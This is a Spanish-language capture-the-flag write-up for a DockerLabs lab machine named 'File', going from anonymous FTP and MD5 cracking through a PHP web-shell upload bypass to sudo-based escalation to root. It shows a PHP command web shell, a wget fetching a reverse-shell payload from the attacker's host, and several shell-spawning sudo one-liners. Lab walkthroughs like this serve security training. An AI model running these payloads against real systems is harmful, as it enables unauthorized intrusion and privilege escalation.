> For the complete documentation index, see [llms.txt](https://dark0547.gitbook.io/tdlc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dark0547.gitbook.io/tdlc/writeups/dockerlabs/facil/file.md).

# File

## Reconocimiento

Iniciamos haciendo un reconocimiento del servidor para ver sus puertos disponibles

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2Fal84WrmsCFdpyRrLqZvl%2FPasted%20image%2020241215201651.png?alt=media&amp;token=df31b94d-3ad3-465b-ab42-bf09d9c17654" alt=""><figcaption></figcaption></figure>

## Explotación FTP - Crack Password

Nos encontramos con el puerto 21 y el 80 y vemos que esta activo el login **Anonymous** en el FTP vamos a revisarlo, funciona perfectamente y nos encontramos con un archivo llamado **anon.txt**

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2F7DSY2Ldx1dnbnxYZVDjh%2FPasted%20image%2020241215201813.png?alt=media&amp;token=1716faec-efcd-48d2-8939-66f07d444c0d" alt=""><figcaption></figcaption></figure>

Nos traemos ese archivo a nuestra maquina y vemos que contiene&#x20;

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FMcZgPsTno0wpS16ePqee%2FPasted%20image%2020241215201900.png?alt=media&amp;token=029cb41c-d176-49c5-a6e1-4b9ba2b2ac70" alt=""><figcaption></figcaption></figure>

Al parecer es un hash de tipo **MD5**, vamos a comprobarlo con **hash-identifier**

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FheGHgKZR5COTqt9L24wF%2FPasted%20image%2020241215202004.png?alt=media&amp;token=1c9faeb6-99f9-4d10-9061-352470430411" alt=""><figcaption></figcaption></figure>

Y vemos que si, así que vamos a crackearlo con **John The Ripper** usando el siguiente comando

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 anon.txt
```

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2Fs7QjJEpH13BtUGFTqoAr%2FPasted%20image%2020241215202200.png?alt=media&amp;token=4c5f3c8e-3ad9-444d-9222-d93fe6bbbd6b" alt=""><figcaption></figcaption></figure>

## Fuzzing Web

Y vemos que el hash es **justin** en texto plano, puede ser un usuario o contraseña que nos puede servir después, ahora vamos a investigar la pagina web

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FLZTki68kdi7MjA7p47S6%2FPasted%20image%2020241215202320.png?alt=media&amp;token=e1b12d9e-4c5d-44c1-bd74-5ae26630265d" alt=""><figcaption></figcaption></figure>

Nos encontramos con esa pagina web a la cual le vamos hacer Fuzzing para ver directorios ocultos

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FniAwLqXJSKesb74a9sO6%2FPasted%20image%2020241215202517.png?alt=media&amp;token=885066d4-e159-4dbf-9851-a200428a5236" alt=""><figcaption></figcaption></figure>

## Explotación - (RCE)

Vemos que nos encuentra las siguientes rutas a lo que se puede ver parece ser una vulnerabilidad de Remote Code Execution, así que vamos a ver con que nos encontramos\
\
Intentamos cargar el siguiente código en php

```php
<?php
  system($_GET['cmd']);
?>
```

Vemos que al intentar cargar un archivo PHP nos muestra error

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2F7PA8wkEsC6VGifCWZeGn%2FPasted%20image%2020241216160839.png?alt=media&amp;token=a652d241-2947-4832-bc9f-583fed59aa34" alt=""><figcaption></figcaption></figure>

Así que vamos a tratar de cargar un payload con BurpSuite de la siguiente forma

Interceptamos la petición del **file\_upload.php** y la mandamos al intruder donde pondremos en payload configuration algunas extensiones comunes

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FBREo1kjUmXULt7VZERgh%2FPasted%20image%2020241216161059.png?alt=media&amp;token=d82bc365-b678-4635-a2e5-de8034001d5a" alt=""><figcaption></figcaption></figure>

Y ponemos **&&** en la extensión del archivo para que burpsuite detecte que ahí es donde debe de cambiar la extensión una vez tengamos todo listo le damos en start attack

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2Fu921FtkZAK0cWirNWAqI%2FPasted%20image%2020241216161220.png?alt=media&amp;token=870c8620-8625-4f05-b3be-efb55db3eb18" alt=""><figcaption></figcaption></figure>

Vemos que con todos fue un status code 200, vamos a revisar en la ruta uploads con que extensión se subió realmente

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FkN1w3PKAOD91R6UFjidt%2FPasted%20image%2020241216161306.png?alt=media&amp;token=934e6aee-6b69-4557-adab-1e3c16a0a057" alt=""><figcaption></figcaption></figure>

Y vemos que fue con la .phar, ahora si ejecutamos un comando con el archivo debería de funcionar

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FlTr89VOsKvwFgxeGtUAM%2FPasted%20image%2020241216161347.png?alt=media&amp;token=6f37d36b-46a8-4eb4-ae5c-cc1781b13ec9" alt=""><figcaption></figcaption></figure>

Ahora vamos a ejecutar un **cat /etc/passwd** para ver que usuarios hay disponibles y tenerlos en cuenta

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FbC0htWx1aN9hScH72rVV%2FPasted%20image%2020241216162033.png?alt=media&amp;token=2a900844-f91e-4952-bc83-184e5d0a4c5b" alt=""><figcaption></figcaption></figure>

Ahora, cargamos un **ls -la** para ver los permisos de las rutas y poder cargar archivos php

```bash
ls -la ../../../../../../../
```

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FmaQL4lPCVKjSr2piYEK9%2FPasted%20image%2020241220101931.png?alt=media&amp;token=cc80d1bb-a26c-48c2-ac8d-21107096fbb9" alt=""><figcaption></figcaption></figure>

Ahora sabiendo que la carpeta **tmp** tiene todos los permisos para todos los usuarios intentamos cargar un archivo php con wget para asi obtener una revershell&#x20;

```bash
wget http://172.17.0.1:443/shell.php -P ../../../../../../../tmp
```

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FeDh70K21dm7nS1eqLkMG%2FPasted%20image%2020241216170647.png?alt=media&amp;token=38d70ed4-e6a6-4908-b12d-f74547e3f1fb" alt=""><figcaption></figcaption></figure>

## Intrusión

Y vemos que funciona así que ahora ejecuto el archivo php y obtengo una revershell

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FG3lJPQv9PC2DbcpGVlJL%2FPasted%20image%2020241216170732.png?alt=media&amp;token=bcd49feb-f172-4106-b2d6-89942c7b1baa" alt=""><figcaption></figcaption></figure>

## Pivoting entre usuarios

Al intentar escalar privilegios de la forma tradicional vemos que no nos deja ejecutar un **sudo -l** ni encontramos binarios o archivos SUID que nos puedan servidor, decido intentar hacer un ataque de fuerza bruta hacia el **su** de los usuarios, con un servidor python montado en mi maquina atacante descargo los archivos necesarios para realizar este ataque en la maquina victima

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FwmBIasSywYQtns0bcyav%2FPasted%20image%2020241219225921.png?alt=media&amp;token=391fb6cd-5699-4476-a3f3-1b89cc8229f3" alt=""><figcaption></figcaption></figure>

### Usuario - Fernando

Una vez descargado los archivos damos permisos de ejecución al script y ejecutamos el ataque

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FaOffuaTR5gXtP0HSsyzZ%2FPasted%20image%2020241219230008.png?alt=media&amp;token=3bfff8a2-3914-4b2d-abcc-e5cc75f649ed" alt=""><figcaption></figcaption></figure>

### Usuario - Mario

Obtenemos la contraseña del usuario **fernando** y funciona

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FlRb58VAtxRuXxvsQZMQ4%2FPasted%20image%2020241219231254.png?alt=media&amp;token=3e814303-83f7-48a3-a91c-252a9aaaf8f0" alt=""><figcaption></figcaption></figure>

Si entramos a su directorio vemos que hay una imagen la cual dando permisos de lectura y escritura en el directorio **html** con el usuario **www-data** podemos mover esa imagen para después descargarla en nuestra maquina atacante

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FYDtE1Q0OTPv3g31O5zsH%2FPasted%20image%2020241219231359.png?alt=media&amp;token=a8f30d02-05ff-4b90-86a7-5368bd8fad43" alt=""><figcaption></figcaption></figure>

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FCrd2rdM1Mv8sqYLlchYa%2FPasted%20image%2020241219231413.png?alt=media&amp;token=a4e60692-bc1e-4a7c-b766-6dc44c53e4d6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FkUigQempSD0rSu0pYAmq%2FPasted%20image%2020241219231517.png?alt=media&amp;token=67766174-1d3a-468e-883a-c9f92c44a985" alt=""><figcaption></figcaption></figure>

Y si bien podemos determinar que puede ver algo escondido en esta imagen, así que vamos a revisar con **estenganografia** para ver que encontramos

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FAsNsw3Qop6Tj7RqTAZhd%2FPasted%20image%2020241219231629.png?alt=media&amp;token=fce8d576-4ff1-4135-a4f6-13cbd982c9f5" alt=""><figcaption></figcaption></figure>

Vemos que hay una contraseña, vamos a intentar romperla con **stegseek**

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FW2wislxQG2jPrgfYJvNu%2FPasted%20image%2020241219231705.png?alt=media&amp;token=8fe551c8-8e1d-49df-af2e-026dda31c171" alt=""><figcaption></figcaption></figure>

Encontramos la contraseña y extraemos el archivo escondido

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2Fv5aSSDcZZ04BFKOTYQ8y%2FPasted%20image%2020241219231739.png?alt=media&amp;token=91484401-ebe3-4423-9286-b89c90b7bd64" alt=""><figcaption></figcaption></figure>

Funciona, ahora leemos el archivo para ver que nos encontramos

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FA6PDTeeXlhK5OP8yoYjW%2FPasted%20image%2020241219231810.png?alt=media&amp;token=0bc664b9-9714-4c9d-b782-3d4a7130d4c5" alt=""><figcaption></figcaption></figure>

Es un hash, vamos a pasarlo a **hash-identifier** para identificarlo y poder crackearlo

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FWxpUNTpR4rCHBak91zu8%2FPasted%20image%2020241219231904.png?alt=media&amp;token=910cd029-84f9-4cbb-8469-f9f42594a874" alt=""><figcaption></figcaption></figure>

Ahora que sabemos que el tipo es **MD5** vamos a romper la contraseña con **John The Ripper**

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FPRIP4bpdgf2n1HpZPVL2%2FPasted%20image%2020241219232049.png?alt=media&amp;token=de5e4192-6f00-41b6-aaff-3ee2ea2b4e8c" alt=""><figcaption></figcaption></figure>

Y nos da la contraseña probablemente de un usuario el cual puede ser **mario**

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FaBxaLvumVLxAY8uUf0uW%2FPasted%20image%2020241219232144.png?alt=media&amp;token=4213459c-1106-4d34-b09e-66a2f9e790c8" alt=""><figcaption></figcaption></figure>

### Usuario - Julen

Vemos que funciona y ahora si podemos ejecutar **sudo -l**

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2F4vUNubO2D8WMOrucstCI%2FPasted%20image%2020241219232226.png?alt=media&amp;token=5725dca5-ea9b-4e12-a6c5-628e26cf532d" alt=""><figcaption></figcaption></figure>

Nos encontramos con un binario el cual nos puede ayudar a obtener una shell con el usuario **julen**, vamos a buscar en **GTFOBins** para ver mas detalles

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2F2e2HOfyk8AtB0mHyvo2o%2FPasted%20image%2020241220093758.png?alt=media&amp;token=2924533c-8e27-4735-8433-9d2ac96ffe99" alt=""><figcaption></figcaption></figure>

Vemos que si, así que procedo a ejecutarlo para obtener una shell

```bash
sudo -u julen /usr/bin/awk 'BEGIN {system("/bin/sh")}'
```

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FsD8KUQDK41tjgFDNRugy%2FPasted%20image%2020241220093811.png?alt=media&amp;token=2723830d-d77c-449b-b016-db07b694243a" alt=""><figcaption></figcaption></figure>

### Usuario - Iker

Y como nos funciona ahora ejecutamos un **sudo -l** para ver que mas encontramos

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FYPWuajq8jbe20bj2vX80%2FPasted%20image%2020241220093906.png?alt=media&amp;token=d2a5eb3f-49fc-41a0-868e-c708ea8c5e08" alt=""><figcaption></figcaption></figure>

Nos encontramos con otro binario con el cual nos podemos lanzar una shell pero como el usuario **iker** vamos a revisar otra vez en **GTFOBins** mas detalles

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2Fomt9Cv72Q5PgqxuxMJq9%2FPasted%20image%2020241220094008.png?alt=media&amp;token=4ef605c6-4f61-4ef3-830d-05f43c80900f" alt=""><figcaption></figcaption></figure>

Viendo eso, ejecutamos la shell de la siguiente forma

```bash
sudo -u iker /usr/bin/env /bin/sh
```

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FU9kcQl5WdCgj2ZrW0QtZ%2FPasted%20image%2020241220094734.png?alt=media&amp;token=23ea531e-84ba-43f9-b1e7-847f6a9744ca" alt=""><figcaption></figcaption></figure>

Y asi obtendriamos el usuario **iker**

### **Usuario - root**

Ahora ejecutamos un **sudo -l** para ver que nos encontramos que nos pueda ayudar a tener usuario root

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FCUhsygxh375Oq94kQs1g%2FPasted%20image%2020241220094843.png?alt=media&amp;token=6a54883d-a12e-460f-86c8-adbf3b57e043" alt=""><figcaption></figcaption></figure>

Vemos que hay un script el cual esta en la ruta del usuario **iker** el cual podemos ejecutar como root, así que vamos a modificarlo para obtener una shell como root, pero antes de intentar modificarlo debemos eliminarlo para que nos deje de lo contrario nos dará error

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FEwcfrTsKHfguTUDSBzeI%2FPasted%20image%2020241220101138.png?alt=media&amp;token=71220678-1148-4553-9f2c-5f89baa2d4a5" alt=""><figcaption></figcaption></figure>

Ahora si, creamos un nuevo archivo que contenga las siguientes lineas

```bash
echo "import os" > geo_ip.py
echo "os.system('/bin/bash')" >> geo_ip.py
```

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FoRbxXpIKpvTtSTcIMpc5%2FPasted%20image%2020241220103400.png?alt=media&amp;token=3c26c1f6-5732-4767-9b47-6089f66b104e" alt=""><figcaption></figcaption></figure>

Una vez tengamos el script completo lo ejecutamos de la siguiente manera

```bash
sudo /usr/bin/python3 /home/iker/geo_ip.py
```

y con este comando obtendríamos una shell como usuario root

<figure><img src="https://549277147-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJjQv0x9pFU3Lh6w8XLe8%2Fuploads%2FojMfmGl1b7TYY0DrluXs%2FPasted%20image%2020241220103443.png?alt=media&amp;token=1cc1e8a0-62de-4858-9c24-794ba0c066e9" alt=""><figcaption></figcaption></figure>

PSDT: No descifre de que era la primera contraseña
